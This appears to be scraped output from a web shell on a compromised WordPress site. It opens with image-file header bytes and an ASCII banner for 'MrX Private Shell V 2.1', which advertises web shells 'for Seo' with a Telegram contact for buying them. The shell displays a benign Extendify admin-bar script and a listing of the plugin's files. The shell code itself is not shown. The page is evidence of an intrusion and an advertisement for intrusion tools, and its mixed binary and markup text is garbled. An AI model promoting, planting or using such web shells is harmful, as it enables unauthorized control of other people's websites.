����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { useEditModeStore } from '../state/edit-mode';
const NODE_ID = '#wp-admin-bar-extendify-quick-edit-toggle';
const AGENT_BTN_ID = 'wp-admin-bar-extendify-agent-btn';
const BOUND_MARK = '__extendifyQuickEditBound';
// The PHP-registered toggle belongs next to the agent button — a JS-injected
// <li> that may land after this bundle, so watch the bar until it shows up.
const positionToggle = (node) => {
const agentBtn = document.getElementById(AGENT_BTN_ID);
if (agentBtn) {
agentBtn.after(node);
return true;
}
document.getElementById('wp-admin-bar-root-default')?.prepend(node);
return false;
};
const followAgentButton = (node) => {
if (positionToggle(node)) return;
const bar = document.getElementById('wpadminbar');
if (!bar) return;
const observer = new MutationObserver(() => {
if (!document.getElementById(AGENT_BTN_ID)) return;
positionToggle(node);
observer.disconnect();
});
observer.observe(bar, { childList: true, subtree: true });
};
export const bindAdminBarToggle = () => {
const link = document.querySelector(`${NODE_ID} a`);
if (!link) return;
const sync = () => {
link.setAttribute(
'aria-checked',
useEditModeStore.getState().on ? 'true' : 'false',
);
};
sync();
if (link[BOUND_MARK]) return;
link[BOUND_MARK] = true;
followAgentButton(link.closest('li'));
link.addEventListener('click', (e) => {
e.preventDefault();
useEditModeStore.getState().toggle();
});
useEditModeStore.subscribe(sync);
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin-bar.js | File | 1.45 KB | 0644 |
|
| agent-block-descriptor.js | File | 1.35 KB | 0644 |
|
| agent-gate.js | File | 768 B | 0644 |
|
| api.js | File | 2.56 KB | 0644 |
|
| ask-ai.js | File | 4.6 KB | 0644 |
|
| block-source-cache.js | File | 1.95 KB | 0644 |
|
| click-rule.js | File | 6.2 KB | 0644 |
|
| cmd-enter-save.js | File | 482 B | 0644 |
|
| dom.js | File | 10.98 KB | 0644 |
|
| errors.js | File | 681 B | 0644 |
|
| escape-rule.js | File | 1.51 KB | 0644 |
|
| fingerprint.js | File | 1.91 KB | 0644 |
|
| global-escape.js | File | 1.79 KB | 0644 |
|
| hover-bar.js | File | 27.75 KB | 0644 |
|
| keyboard-entry.js | File | 6.26 KB | 0644 |
|
| keyboard-undo.js | File | 2.39 KB | 0644 |
|
| link-suggestions.js | File | 790 B | 0644 |
|
| modal-root.js | File | 1.39 KB | 0644 |
|
| quick-edit-handlers.js | File | 1.02 KB | 0644 |
|
| rich-text-color.js | File | 8.11 KB | 0644 |
|
| save-bridge.js | File | 1.2 KB | 0644 |
|
| translated.js | File | 1.81 KB | 0644 |
|